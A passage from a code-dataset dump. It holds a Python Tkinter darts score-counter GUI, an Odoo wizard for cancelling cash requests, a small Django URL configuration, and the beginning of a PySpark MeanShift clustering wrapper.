player3_scores[0][\"S20\"] += 1\n    elif score == \"S19\":\n        player3_scores[0][\"S19\"] += 1\n    elif score == \"S18\":\n        player3_scores[0][\"S18\"] += 1\n\n\ndef add_scores_player4(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 4\n    :param score: current score\n    :return:\n    \"\"\"\n    # player 4\n    if label_4_score['bg'] == \"yellow\":\n        if \"T\" in score:\n            player4_scores[0][\"Triple\"] += 1\n            if score == \"T20\":\n                player4_scores[0][\"T20\"] += 1\n            elif score == \"T19\":\n                player4_scores[0][\"T19\"] += 1\n            elif score == \"T18\":\n                player4_scores[0][\"T18\"] += 1\n\n        elif \"D\" in score:\n            player4_scores[0][\"Double\"] += 1\n\n        elif \"Bull\" in score:\n            if score == \"Single_Bull\":\n                player4_scores[0][\"Single_Bull\"] += 1\n            else:\n                player4_scores[0][\"Bull\"] += 1\n\n        elif \"S\" in score:\n            add_scores_player4_help(score)\n\n        else:\n            player4_scores[0][\"No_Score\"] += 1\n\n    else:\n        messagebox.showinfo(\"Error\", \"Restart\")\n\n\ndef add_scores_player4_help(score):\n    \"\"\"\n    This function adds the thrown darts to the kpis/player_scores of player 4\n    :param score: current score\n    :return:\n    \"\"\"\n    if score == \"S20\":\n        player4_scores[0][\"S20\"] += 1\n    elif score == \"S19\":\n        player4_scores[0][\"S19\"] += 1\n    elif score == \"S18\":\n        player4_scores[0][\"S18\"] += 1\n\n\ndef add():\n    \"\"\"\n    This function adds the thrown score to the total score\n    :return:\n    \"\"\"\n    # save scores to kpis\n    add_scores()\n\n    count = int(label_dart_score['text'])\n    current = int(zwischen_label['text'])\n\n    result = current + count\n    zwischen_label['text'] = result\n    label_dart_score['text'] = \"\"\n\n    flag1 = False\n\n    if (label_1_score['bg'] == \"yellow\" and result == int(label_1_score['text'])) \\\n            or (label_2_score['bg'] == \"yellow\" and result == int(label_2_score['text'])):\n        flag1 = True\n\n    if flag1 or (label_3_score['bg'] == \"yellow\" and result == int(label_3_score['text'])) \\\n                or (label_4_score['bg'] == \"yellow\" and result == int(label_4_score['text'])):\n        count_down_button.pack()\n        count_down_button['text'] = \"Count down\"\n        count_down_button.place(x=440, y=300, height=30, width=90)\n        button_dart_score.pack()\n        button_dart_score.pack_forget()\n        return\n\n    flag2 = False\n\n    if (label_1_score['bg'] == \"yellow\" and result > int(label_1_score['text'])) \\\n            or (label_2_score['bg'] == \"yellow\" and result > int(label_2_score['text'])):\n        flag2 = True\n\n    if flag2 or (label_3_score['bg'] == \"yellow\" and result > int(label_3_score['text'])) \\\n                or (label_4_score['bg'] == \"yellow\" and result > int(label_4_score['text'])):\n        count_down_button.pack()\n        count_down_button['text'] = \"No score. Next Player\"\n        count_down_button.place(x=440, y=300, height=30, width=150)\n        button_dart_score.pack()\n        button_dart_score.pack_forget()\n        return\n\n    if label_first_dart['bg'] == \"yellow\":\n        label_first_dart['bg'] = \"white\"\n        label_second_dart['bg'] = \"yellow\"\n        return\n\n    if label_second_dart['bg'] == \"yellow\":\n        label_second_dart['bg'] = \"white\"\n        label_third_dart['bg'] = \"yellow\"\n        return\n\n    if label_third_dart['bg'] == \"yellow\":\n        count_down_button.pack()\n        count_down_button.place(x=440, y=300, height=30, width=90)\n        button_dart_score.pack()\n        button_dart_score.pack_forget()\n\n\ndef end_game():\n    \"\"\"\n    This function stops the game\n    \"\"\"\n    messagebox.showinfo(\"Info\", \"Game is over.\")\n\n    label_1_score['bg'] = \"yellow\"\n    label_2_score['bg'] = \"white\"\n    label_3_score['bg'] = \"white\"\n    label_4_score['bg'] = \"white\"\n\n    if label_switch_starting_points['text'] == \"501\":\n        label_1_score['text'] = \"501\"\n        label_2_score['text'] = \"501\"\n\n        if int(label_number_players['text']) == 3:\n            label_3_score['text'] = \"501\"\n\n        if int(label_number_players['text']) == 4:\n            label_4_score['text'] = \"501\"\n    else:\n        label_1_score['text'] = \"301\"\n        label_2_score['text'] = \"301\"\n        if int(label_number_players['text']) == 3:\n            label_3_score['text'] = \"301\"\n\n        if int(label_number_players['text']) == 4:\n            label_4_score['text'] = \"301\"\n\n    button_create_excel.place(x=1125, y=210, height=80, width=150)\n    save_score()\n    clear_players()\n\n\ndef clear_players():\n    \"\"\"\n    This function removes all items from the players\n    :return:\n    \"\"\"\n\n    while len(player1) > 0:\n        for item in player1:\n            player1.remove(item)\n\n    while len(player2) > 0:\n        for item in player2:\n            player2.remove(item)\n\n    while len(player3) > 0:\n        for item in player3:\n            player3.remove(item)\n\n    while len(player4) > 0:\n        for item in player4:\n            player4.remove(item)\n\n\ndef plus_player_numbers():\n    \"\"\"\n    This function increments the number of players, max. 4 players\n    :return:\n    \"\"\"\n    number = int(label_number_players['text'])\n\n    if number == 2:\n        label_number_players['text'] = 3\n        input_name3.place(x=563.5, y=380, height=30, width=150)\n\n    elif number == 3:\n        label_number_players['text'] = 4\n        input_name4.place(x=563.5, y=430, height=30, width=150)\n\n\ndef minus_player_numbers():\n    \"\"\"\n    This function decrements the number of players, min. 2 players\n    :return:\n    \"\"\"\n    number = int(label_number_players['text'])\n\n    if number == 4:\n        label_number_players['text'] = 3\n        input_name4.pack()\n        input_name4.pack_forget()\n\n    elif number == 3:\n        label_number_players['text'] = 2\n        input_name3.pack()\n        input_name3.pack_forget()\n\n\ndef check_names():\n    \"\"\"\n    This function checks if all names were entered, and then the game will start\n    :return:\n    \"\"\"\n    flag = True\n    number = int(label_number_players['text'])\n    name1 = input_name1.get()\n    name2 = input_name2.get()\n    name3 = input_name3.get()\n    name4 = input_name4.get()\n\n    if number == 2:\n        if name1 == \"\" or name2 == \"\":\n            messagebox.showinfo(\"Error\", \"Not all names were entered.\")\n            flag = False\n\n    elif number == 3:\n        if name1 == \"\" or name2 == \"\" or name3 == \"\":\n            messagebox.showinfo(\"Error\", \"Not all names were entered.\")\n            flag = False\n        else:\n            label_player_3_name['text'] = name3\n\n    elif number == 4:\n        if name1 == \"\" or name2 == \"\" or name3 == \"\" or name4 == \"\":\n            messagebox.showinfo(\"Error\", \"Not all names were entered.\")\n            flag = False\n        else:\n            label_player_3_name['text'] = name3\n            label_player_4_name['text'] = name4\n\n    if flag:\n        check_names2(name1, name2)\n\n\ndef check_names2(name1, name2):\n    \"\"\"\n     This function checks if all names were entered, and then the game will start\n    :return:\n    \"\"\"\n    label_player_1_name['text'] = name1\n    label_player_2_name['text'] = name2\n\n    # disable input fields and labels and buttons for selecting player numbers\n    input_name1.pack()\n    input_name2.pack()\n    input_name3.pack()\n    input_name4.pack()\n\n    input_name1.pack_forget()\n    input_name2.pack_forget()\n    input_name3.pack_forget()\n    input_name4.pack_forget()\n\n    button_continue.pack()\n    button_continue.pack_forget()\n\n    # disable plus and minus\n    button_plus_number_players.pack()\n    button_minus_number_players.pack()\n\n    button_plus_number_players.pack_forget()\n    button_minus_number_players.pack_forget()\n\n    label_number_players.pack()\n    label_welcome.pack()\n\n    label_number_players.pack_forget()\n    label_welcome.pack_forget()\n\n    button_inc_starting_points.pack()\n    button_dec_starting_points.pack()\n    label_switch_starting_points.pack()\n\n    button_inc_starting_points.pack_forget()\n    button_dec_starting_points.pack_forget()\n    label_switch_starting_points.pack_forget()\n\n    start_game()\n\n\ndef start_game():\n    \"\"\"\n    This function starts the game after the names were entered\n    \"\"\"\n    number_players = int(label_number_players['text'])\n    clear_players()\n\n    reset_button.place(x=1175, y=80, height=30, width=100)\n\n    label_1_score['bg'] = \"yellow\"\n    label_2_score['bg'] = \"white\"\n    label_3_score['bg'] = \"white\"\n    label_4_score['bg'] = \"white\"\n\n    if label_switch_starting_points['text'] == \"501\":\n        label_1_score['text'] = \"501\"\n        label_2_score['text'] = \"501\"\n        label_3_score['text'] = \"501\"\n        label_4_score['text'] = \"501\"\n\n    else:\n        label_1_score['text'] = \"301\"\n        label_2_score['text'] = \"301\"\n        label_3_score['text'] = \"301\"\n        label_4_score['text'] = \"301\"\n\n    label_1_score.place(x=10, y=60, height=30, width=150)\n    label_2_score.place(x=200, y=60, height=30, width=150)\n\n    label_player_1_name.place(x=10, y=10, height=30, width=150)\n    label_player_2_name.place(x=200, y=10, height=30, width=150)\n\n    if number_players >= 3:\n        label_3_score.place(x=390, y=60, height=30, width=150)\n        label_player_3_name.place(x=390, y=10, height=30, width=150)\n\n    if number_players == 4:\n        label_4_score.place(x=580, y=60, height=30, width=150)\n        label_player_4_name.place(x=580, y=10, height=30, width=150)\n\n    next_button.place(x=810, y=60, height=30, width=130)\n\n    label_dart_score.pack()\n    button_dart_score.pack()\n\n    label_dart_score.place(x=0, y=300, height=30, width=90)\n    button_dart_score.place(x=90, y=300, height=30, width=80)\n\n    label_first_dart.pack()\n    label_second_dart.pack()\n    label_third_dart.pack()\n    zwischen_label.pack()\n\n    label_first_dart.place(x=210, y=300, height=30, width=30)\n    label_second_dart.place(x=250, y=300, height=30, width=30)\n    label_third_dart.place(x=290, y=300, height=30, width=30)\n    zwischen_label.place(x=340, y=300, height=30, width=100)\n\n    enable_throw_buttons()\n\n\ndef enable_throw_buttons():\n    \"\"\"\n    This function enables button (0 to T20)\n    :return:\n    \"\"\"\n    button_triple_20.place(x=0, y=400, height=60, width=60)\n    button_double_20.place(x=0, y=470, height=60, width=60)\n    button_single_20.place(x=0, y=540, height=60, width=60)\n    button_triple_19.place(x=60, y=400, height=60, width=60)\n    button_double_19.place(x=60, y=470, height=60, width=60)\n    button_single_19.place(x=60, y=540, height=60, width=60)\n    button_triple_18.place(x=120, y=400, height=60, width=60)\n    button_double_18.place(x=120, y=470, height=60, width=60)\n    button_single_18.place(x=120, y=540, height=60, width=60)\n    button_triple_17.place(x=180, y=400, height=60, width=60)\n    button_double_17.place(x=180, y=470, height=60, width=60)\n    button_single_17.place(x=180, y=540, height=60, width=60)\n\n    button_triple_16.place(x=240, y=400, height=60, width=60)\n    button_double_16.place(x=240, y=470, height=60, width=60)\n    button_single_16.place(x=240, y=540, height=60, width=60)\n    button_triple_15.place(x=300, y=400, height=60, width=60)\n    button_double_15.place(x=300, y=470, height=60, width=60)\n    button_single_15.place(x=300, y=540, height=60, width=60)\n    button_triple_14.place(x=360, y=400, height=60, width=60)\n    button_double_14.place(x=360, y=470, height=60, width=60)\n    button_single_14.place(x=360, y=540, height=60, width=60)\n    button_triple_13.place(x=420, y=400, height=60, width=60)\n    button_double_13.place(x=420, y=470, height=60, width=60)\n    button_single_13.place(x=420, y=540, height=60, width=60)\n\n    button_triple_12.place(x=480, y=400, height=60, width=60)\n    button_double_12.place(x=480, y=470, height=60, width=60)\n    button_single_12.place(x=480, y=540, height=60, width=60)\n    button_triple_11.place(x=540, y=400, height=60, width=60)\n    button_double_11.place(x=540, y=470, height=60, width=60)\n    button_single_11.place(x=540, y=540, height=60, width=60)\n    button_triple_10.place(x=600, y=400, height=60, width=60)\n    button_double_10.place(x=600, y=470, height=60, width=60)\n    button_single_10.place(x=600, y=540, height=60, width=60)\n    button_triple_9.place(x=660, y=400, height=60, width=60)\n    button_double_9.place(x=660, y=470, height=60, width=60)\n    button_single_9.place(x=660, y=540, height=60, width=60)\n\n    button_triple_8.place(x=720, y=400, height=60, width=60)\n    button_double_8.place(x=720, y=470, height=60, width=60)\n    button_single_8.place(x=720, y=540, height=60, width=60)\n    button_triple_7.place(x=780, y=400, height=60, width=60)\n    button_double_7.place(x=780, y=470, height=60, width=60)\n    button_single_7.place(x=780, y=540, height=60, width=60)\n    button_triple_6.place(x=840, y=400, height=60, width=60)\n    button_double_6.place(x=840, y=470, height=60, width=60)\n    button_single_6.place(x=840, y=540, height=60, width=60)\n    button_triple_5.place(x=900, y=400, height=60, width=60)\n    button_double_5.place(x=900, y=470, height=60, width=60)\n    button_single_5.place(x=900, y=540, height=60, width=60)\n\n    enable_throw_buttons2()\n\n\ndef enable_throw_buttons2():\n    \"\"\"\n    This function enables button (0 to T20)\n    :return:\n    \"\"\"\n\n    button_triple_4.place(x=960, y=400, height=60, width=60)\n    button_double_4.place(x=960, y=470, height=60, width=60)\n    button_single_4.place(x=960, y=540, height=60, width=60)\n    button_triple_3.place(x=1020, y=400, height=60, width=60)\n    button_double_3.place(x=1020, y=470, height=60, width=60)\n    button_single_3.place(x=1020, y=540, height=60, width=60)\n    button_triple_2.place(x=1080, y=400, height=60, width=60)\n    button_double_2.place(x=1080, y=470, height=60, width=60)\n    button_single_2.place(x=1080, y=540, height=60, width=60)\n    button_triple_1.place(x=1140, y=400, height=60, width=60)\n    button_double_1.place(x=1140, y=470, height=60, width=60)\n    button_single_1.place(x=1140, y=540, height=60, width=60)\n\n    button_single_bull.place(x=1210, y=400, height=60, width=60)\n    button_bull.place(x=1210, y=470, height=60, width=60)\n    button_0.place(x=1210, y=540, height=60, width=60)\n\n\nif __name__ == \"__main__\":\n    # configure the window to generate\n    gui = Tk()\n    gui.geometry('1275x645')\n    gui.resizable(width=False, height=False)\n    gui.title(\"Darts counter - User Interface\")\n    gui.configure(background='grey')\n\n    # define the exit - button\n    exit_button = Button(gui, text=\"End game\", command=button_exit, fg=\"black\", bg=\"lightgreen\",\n                         font=('Arial', 10, 'bold'))\n    exit_button.place(x=1175, y=0, height=80, width=100)\n\n    # label for introducing and welcome\n    label_welcome = Label(gui, text=\"Welcome to the darts - counter!\\n\"\n                                    \" Please select the number of players \"\n                                    \"and the starting points.\", bg=\"grey\",\n                          font=('Arial', 14))\n    label_welcome.place(x=337.5, y=20, height=50, width=600)\n\n    # label and buttons for selecting the number of players\n    label_number_players = Label(gui, text=\"2\", fg=\"black\", font=('Arial', 13, 'bold'))\n\n    button_plus_number_players = Button(gui, text=\"+\", fg=\"black\", bg=\"lightgreen\",\n                                        font=('Arial', 13, 'bold'), command=plus_player_numbers)\n    button_minus_number_players = Button(gui, text=\"-\", fg=\"black\", bg=\"red\",\n                                         font=('Arial', 13, 'bold'), command=minus_player_numbers)\n\n    label_number_players.place(x=587.5, y=200, height=30, width=100)\n    button_minus_number_players.place(x=557.5, y=200, height=30, width=30)\n    button_plus_number_players.place(x=687.5, y=200, height=30, width=30)\n\n    # text input for 4 player names\n    input_name1 = Entry(gui, bd=1, font=('Arial', 13))\n    input_name2 = Entry(gui, bd=1, font=('Arial', 13))\n    input_name3 = Entry(gui, bd=1, font=('Arial', 13))\n    input_name4 = Entry(gui, bd=1, font=('Arial', 13))\n\n    # default: 2 input fields are enabled\n    input_name1.place(x=563.5, y=280, height=30, width=150)\n    input_name2.place(x=563.5, y=330, height=30, width=150)\n\n    # button for checking names and starting the game\n    button_continue = Button(gui, text=\"Continue\", bg=\"lightgreen\", fg=\"black\",\n                             font=('Arial', 13, 'bold'), command=check_names)\n    button_continue.place(x=750, y=120, height=30, width=100)\n\n    # label and button for selecting the starting points (301 or 501)\n    label_switch_starting_points = Label(gui, text=\"501\", fg=\"black\", font=('Arial', 13, 'bold'))\n    button_inc_starting_points = Button(gui, text=\"+\", fg=\"black\",\n                                        bg=\"lightgreen\", font=('Arial', 10),\n                                        command=increment_starting_points)\n    button_dec_starting_points = Button(gui, text=\"-\", fg=\"black\", bg=\"red\", font=('Arial', 10),\n                                        command=decrement_starting_points)\n\n    label_switch_starting_points.place(x=587.5, y=120, height=30, width=100)\n    button_dec_starting_points.place(x=557.5, y=120, height=30, width=30)\n    button_inc_starting_points.place(x=687.5, y=120, height=30, width=30)\n\n    # labels for 4 players\n    label_player_1_name = Label(gui, text=\"\", fg=\"black\", font=('Arial', 13, 'bold'))\n    label_player_2_name = Label(gui, text=\"\", fg=\"black\", font=('Arial', 13, 'bold'))\n    label_player_3_name = Label(gui, text=\"\", fg=\"black\", font=('Arial', 13, 'bold'))\n    label_player_4_name = Label(gui, text=\"\", fg=\"black\", font=('Arial', 13, 'bold'))\n\n    # labels for game score for 4 players\n    label_1_score = Label(gui, text=\"501\", fg=\"black\", bg=\"white\", font=('Arial', 13, 'bold'))\n    label_2_score = Label(gui, text=\"501\", fg=\"black\", bg=\"white\", font=('Arial', 13, 'bold'))\n    label_3_score = Label(gui, text=\"501\", fg=\"black\", bg=\"white\", font=('Arial', 13, 'bold'))\n    label_4_score = Label(gui, text=\"501\", fg=\"black\", bg=\"white\", font=('Arial', 13, 'bold'))\n\n    # start - button und stop - button\n    button_start_game = Button(gui, text=\"Start\", bd=4, fg=\"black\", bg=\"yellow\", font=('Arial', 11),\n                               command=start_game)\n    # button_start_game.place(x=850, y=90, height=30, width=100)\n\n    button_stop_game = Button(gui, text=\"Stop\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 11),\n                              command=start_game)\n\n    # next - button\n    next_button = Button(gui, text=\"Next\", bd=4, fg=\"black\", bg=\"yellow\", font=('Arial', 11),\n                         command=next_button)\n\n    # textarea for scoring points which shall be decremented\n    label_dart_score = Label(gui, text=\"\", bd=4, font=('Arial', 13))\n    button_dart_score = Button(gui, text=\"Add\", bd=4, fg=\"black\",\n                               bg=\"lightgreen\", font=('Arial', 10),\n                               command=add)\n\n    # label, which will be invisible, for calculating scores at the end\n    label_invisible = Label(gui, text=\"\", bd=4, font=('Arial', 13))\n\n    # create Label for 1,2 and 3 Darts and count down button\n    label_first_dart = Label(gui, text=\"1\", bd=4, bg=\"yellow\", font=('Arial', 13))\n    label_second_dart = Label(gui, text=\"2\", bd=4, bg=\"white\", font=('Arial', 13))\n    label_third_dart = Label(gui, text=\"3\", bd=4, bg=\"white\", font=('Arial', 13))\n\n    zwischen_label = Label(gui, text=\"0\", bd=4, bg=\"yellow\", font=('Arial', 13))\n    count_down_button = Button(gui, text=\"Count down\", bd=4, fg=\"black\",\n                               bg=\"lightgreen\", font=('Arial', 10),\n                               command=count_down)\n\n    # calculate kpis button\n    button_create_excel = Button(gui, text=\"Calculate Score\", bd=4, fg=\"black\",\n                                 bg=\"lightblue\", font=('Arial', 11),\n                                 command=create_excel)\n    # button_create_excel.place(x=1125, y=250, height=80, width=150)\n\n    # create all triple, double and single buttons\n    button_triple_20 = Button(gui, text=\"T20\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t20)\n    button_single_20 = Button(gui, text=\"S20\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s20)\n    button_double_20 = Button(gui, text=\"D20\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d20)\n\n    button_triple_19 = Button(gui, text=\"T19\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=t19)\n    button_single_19 = Button(gui, text=\"S19\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=s19)\n    button_double_19 = Button(gui, text=\"D19\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=d19)\n\n    button_triple_18 = Button(gui, text=\"T18\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t18)\n    button_single_18 = Button(gui, text=\"S18\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s18)\n    button_double_18 = Button(gui, text=\"D18\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d18)\n\n    button_triple_17 = Button(gui, text=\"T17\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=t17)\n    button_single_17 = Button(gui, text=\"S17\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=s17)\n    button_double_17 = Button(gui, text=\"D17\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=d17)\n\n    button_triple_16 = Button(gui, text=\"T16\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t16)\n    button_single_16 = Button(gui, text=\"S16\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s16)\n    button_double_16 = Button(gui, text=\"D16\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d16)\n    button_triple_15 = Button(gui, text=\"T15\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=t15)\n    button_single_15 = Button(gui, text=\"S15\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=s15)\n    button_double_15 = Button(gui, text=\"D15\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=d15)\n    button_triple_14 = Button(gui, text=\"T14\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t14)\n    button_single_14 = Button(gui, text=\"S14\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s14)\n    button_double_14 = Button(gui, text=\"D14\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d14)\n\n    button_triple_13 = Button(gui, text=\"T13\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=t13)\n    button_single_13 = Button(gui, text=\"S13\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=s13)\n    button_double_13 = Button(gui, text=\"D13\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=d13)\n    button_triple_12 = Button(gui, text=\"T12\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t12)\n    button_single_12 = Button(gui, text=\"S12\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s12)\n    button_double_12 = Button(gui, text=\"D12\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d12)\n    button_triple_11 = Button(gui, text=\"T11\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=t11)\n    button_single_11 = Button(gui, text=\"S11\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=s11)\n    button_double_11 = Button(gui, text=\"D11\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                              command=d11)\n\n    button_triple_10 = Button(gui, text=\"T10\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=t10)\n    button_single_10 = Button(gui, text=\"S10\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=s10)\n    button_double_10 = Button(gui, text=\"D10\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                              command=d10)\n    button_triple_9 = Button(gui, text=\"T9\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=t_9)\n    button_single_9 = Button(gui, text=\"S9\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=s_9)\n    button_double_9 = Button(gui, text=\"D9\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=d_9)\n    button_triple_8 = Button(gui, text=\"T8\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=t_8)\n    button_single_8 = Button(gui, text=\"S8\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=s_8)\n    button_double_8 = Button(gui, text=\"D8\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=d_8)\n\n    button_triple_7 = Button(gui, text=\"T7\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=t_7)\n    button_single_7 = Button(gui, text=\"S7\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=s_7)\n    button_double_7 = Button(gui, text=\"D7\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=d_7)\n    button_triple_6 = Button(gui, text=\"T6\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=t_6)\n    button_single_6 = Button(gui, text=\"S6\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=s_6)\n    button_double_6 = Button(gui, text=\"D6\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=d_6)\n    button_triple_5 = Button(gui, text=\"T5\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=t_5)\n    button_single_5 = Button(gui, text=\"S5\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=s_5)\n    button_double_5 = Button(gui, text=\"D5\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=d_5)\n\n    button_triple_4 = Button(gui, text=\"T4\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=t_4)\n    button_single_4 = Button(gui, text=\"S4\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=s_4)\n    button_double_4 = Button(gui, text=\"D4\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=d_4)\n    button_triple_3 = Button(gui, text=\"T3\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=t_3)\n    button_single_3 = Button(gui, text=\"S3\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=s_3)\n    button_double_3 = Button(gui, text=\"D3\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=d_3)\n    button_triple_2 = Button(gui, text=\"T2\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=t_2)\n    button_single_2 = Button(gui, text=\"S2\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=s_2)\n    button_double_2 = Button(gui, text=\"D2\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                             command=d_2)\n\n    button_triple_1 = Button(gui, text=\"T1\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=t_1)\n    button_single_1 = Button(gui, text=\"S1\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=s_1)\n    button_double_1 = Button(gui, text=\"D1\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                             command=d_1)\n    button_single_bull = Button(gui, text=\"25\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                                command=single_bull)\n    button_bull = Button(gui, text=\"BULL\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 14),\n                         command=bull)\n    button_0 = Button(gui, text=\"0\", bd=4, fg=\"black\", bg=\"green\", font=('Arial', 14),\n                      command=null)\n\n    # reset - button\n    reset_button = Button(gui, text=\"Go back\", bd=4, fg=\"black\", bg=\"red\", font=('Arial', 11),\n                          command=reset)\n\n    gui.mainloop()\n","repo_name":"Manu100001/Python-Darts-GUI","sub_path":"counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":84237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"74859760328","text":"from odoo import api, fields, models\r\nfrom datetime import datetime\r\n\r\nclass CashCancel(models.TransientModel):\r\n    _name = \"cash_managment.cancel_cash\"\r\n    _description = \"Reject Cash Request\"\r\n    _rec_name = 'state'\r\n\r\n    \r\n    state =  fields.Selection([('new','New'),('validate','Validated'),('cancel','Canceled'),('reject','Reject'),('approve','Approved'),('closed','Closed'),('implement','Implement')],string=\"Status\", required=True, default=\"new\")\r\n    cancel_comment = fields.Text(string=\"Comment\")\r\n    cancel_date =  fields.Datetime(string='Cancel Date', default=lambda self: fields.datetime.now())\r\n    canceled_by = fields.Many2one('res.users','Canceled By',default=lambda self: self.env.user)\r\n    \r\n    @api.multi\r\n    def cash_cancel(self):\r\n        self.write({'state': 'cancel'})\r\n        cash = self.env['cash_managment.request'].browse(self._context.get('active_ids'))\r\n        for req in cash:\r\n            req.state = self.state\r\n            req.cancel_comment = self.cancel_comment\r\n            req.cancel_date = self.cancel_date\r\n            req.canceled_by = self.canceled_by\r\n\r\n            template_id = self.env.ref('cash_managment.email_template_cancel_request').id\r\n            template =  self.env['mail.template'].browse(template_id)\r\n            template.send_mail(req.id,force_send=True)\r\n        \r\n","repo_name":"kluz116/cash_managment","sub_path":"wizard/cash_cancel_request.py","file_name":"cash_cancel_request.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42876749287","text":"from django.contrib import admin\nfrom django.urls import path\nfrom home import views\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('',views.ind,name='ind'),\n    path('cup',views.cups,name='cup'),\n    path('cons',views.cons,name='cons'),\n    path('contact/',views.contact,name='contact'),\n    path('contact2/',views.contact2,name='contact'),\n    path('family',views.family,name='family'),\n    path('about',views.about,name='about'),\n    # path('',views.,name=''),\n\n]\n","repo_name":"Parthiv586/ice-cream","sub_path":"Hello/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"27183305516","text":"from typing import List\nfrom pyspark import Row\n\nfrom .base import *\n\n\nclass MeanShiftModel(ClusteringModel):\n    def __init__(self, jvm_model):\n        super().__init__(jvm_model)\n\n    @property\n    def means(self) -> List[Row]:\n        return self._jvm_model.means()\n\n\nclass MeanShift(ClusteringAlgo):\n    \"\"\"\n    Mean Shift is a clustering algorithm commonly used in machine learning and computer vision. It works by\n    iteratively shifting the centroids of the clusters towards the mean of the points in their local neighborhood\n    until convergence.\n\n    The algorithm starts by initializing each data point as a cluster centroid. Then, for each centroid, it computes\n    the mean of the points in its neighborhood within a specified bandwidth. The centroid is then shifted towards\n    this mean, and the process repeats until convergence.\n\n    The resulting clusters are defined by their mode and can have arbitrary shapes. Mean Shift is often used for\n    datasets with non-uniform density or complex shapes, and can handle noise and outliers effectively. It requires\n    one main parameter: the bandwidth, which determines the size of the neighborhood used to compute the mean.\n    \"\"\"\n\n    def __init__(\n            self, *,\n            radius: float,\n            max_clusters: int,\n            max_iterations: int,\n            initial: int,\n            convergence: float = 1e-7,\n            seed: Optional[int] = None\n    ):\n        \"\"\"\n        :param radius: mean-object's neighbourhood radius\n        :param max_clusters: upper bound for number of clusters\n        :param max_iterations: maximum number of steps after which the stop 